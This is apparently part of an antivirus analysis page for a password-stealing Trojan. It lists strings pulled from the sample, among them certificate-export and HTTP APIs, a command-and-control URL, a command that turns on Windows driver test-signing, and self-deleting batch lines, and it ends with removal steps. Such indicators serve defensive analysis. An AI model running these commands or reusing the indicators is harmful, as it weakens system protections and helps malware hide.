Secur32.dll
ole32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
: :$:(:,:0:4:
= =$=(=,=0=4=
1 2*20262
7%7X7u7!8&8;9Z9
kernel32.dll
Wadvapi32.dll
rapport
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
"%s" %s
/c "%s"
shell32.dll
urlmon.dll
cabinet.dll
\StringFileInfo\xx\%s
%Documents and Settings%\%current user%\Local Settings\Temp
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}

Explorer.EXE_1684_rwx_021E0000_0006D000:

.text
`.data
.idata
@.reloc
PSSSSSSh
bcdedit.exe -set TESTSIGNING ON
%s\drivers\%s.sys
\\.\NtSecureSys
ntdll.dll
svchost.exe
EUDC\%d
KeDelayExecutionThread
WinExec
KERNEL32.dll
ExitWindowsEx
USER32.dll
GDI32.dll
RegCloseKey
RegFlushKey
RegCreateKeyExA
ADVAPI32.dll
ShellExecuteA
SHELL32.dll
msvcrt.dll
Invalid parameter passed to C runtime function.
0123456789
.sMH#
\*%Sa
RegDeleteKeyExW
gdiplus.dll
GdiplusShutdown
#ÛY_
5>(4 6 3
>5#? = 8
*:4.::,|
y.dRR
&*("?#=1
http://maerholst.com/1/?s=%u&v=%u
REPORT
userenv.dll
del "%s"
if exist "%s" goto d
del /F "%s"
HTTP/1.1
http://www.google.com/
http://www.bing.com/
t.Ht$HHt
w%fkN
L$$
rnÊ
m9.td
McaG%n%c
zcÁ
MsgWaitForMultipleObjects
GetKeyboardState
RegCreateKeyExW
RegQueryInfoKeyW
RegDeleteKeyW
RegOpenKeyExW
RegEnumKeyExW
CryptGetKeyParam
CryptImportKey
CryptDestroyKey
UrlUnescapeA
PathIsURLW
SHLWAPI.dll
ShellExecuteW
Secur32.dll
ole32.dll
WS2_32.dll
PFXImportCertStore
CertDeleteCertificateFromStore
CertOpenSystemStoreW
CertCloseStore
CertEnumCertificatesInStore
CertDuplicateCertificateContext
PFXExportCertStoreEx
CRYPT32.dll
HttpSendRequestExA
HttpQueryInfoA
InternetCrackUrlA
HttpOpenRequestA
HttpEndRequestA
HttpAddRequestHeadersA
WININET.dll
OLEAUT32.dll
NETAPI32.dll
IPHLPAPI.DLL
VERSION.dll
: :$:(:,:0:4:
= =$=(=,=0=4=
1 2*20262
7%7X7u7!8&8;9Z9
kernel32.dll
Wadvapi32.dll
rapport
SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\%s
launchpadshell.exe
dirclt32.exe
wtng.exe
prologue.exe
pcsws.exe
fdmaster.exe
"%s" %s
/c "%s"
shell32.dll
urlmon.dll
cabinet.dll
\StringFileInfo\xx\%s
%Documents and Settings%\%current user%\Local Settings\Temp
%Documents and Settings%\%current user%\Local Settings\Application Data
Global\{3D6E1BE3-083C-4088-F013-F140DE00D252}


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):

    mlose.exe:1056
    %original file name%.exe:1456
    opera_autoupdater.exe:1200

  2. Delete the original Trojan-PSW file.
  3. Delete or disinfect the following files created/modified by the Trojan-PSW:

    %System%\drivers\13c40f.sys (745 bytes)
    %Documents and Settings%\%current user%\NTUSER.DAT.LOG (6272 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\Olyxeg\roguir.exe (4827 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\KMO1F7C.bat (173 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\opera_autoupdater.exe (23 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temp\mlose.exe (3715 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\desktop.ini (67 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\OPQNSD2J\0403UKc[1].elf (1799 bytes)
    %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)

  4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  5. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

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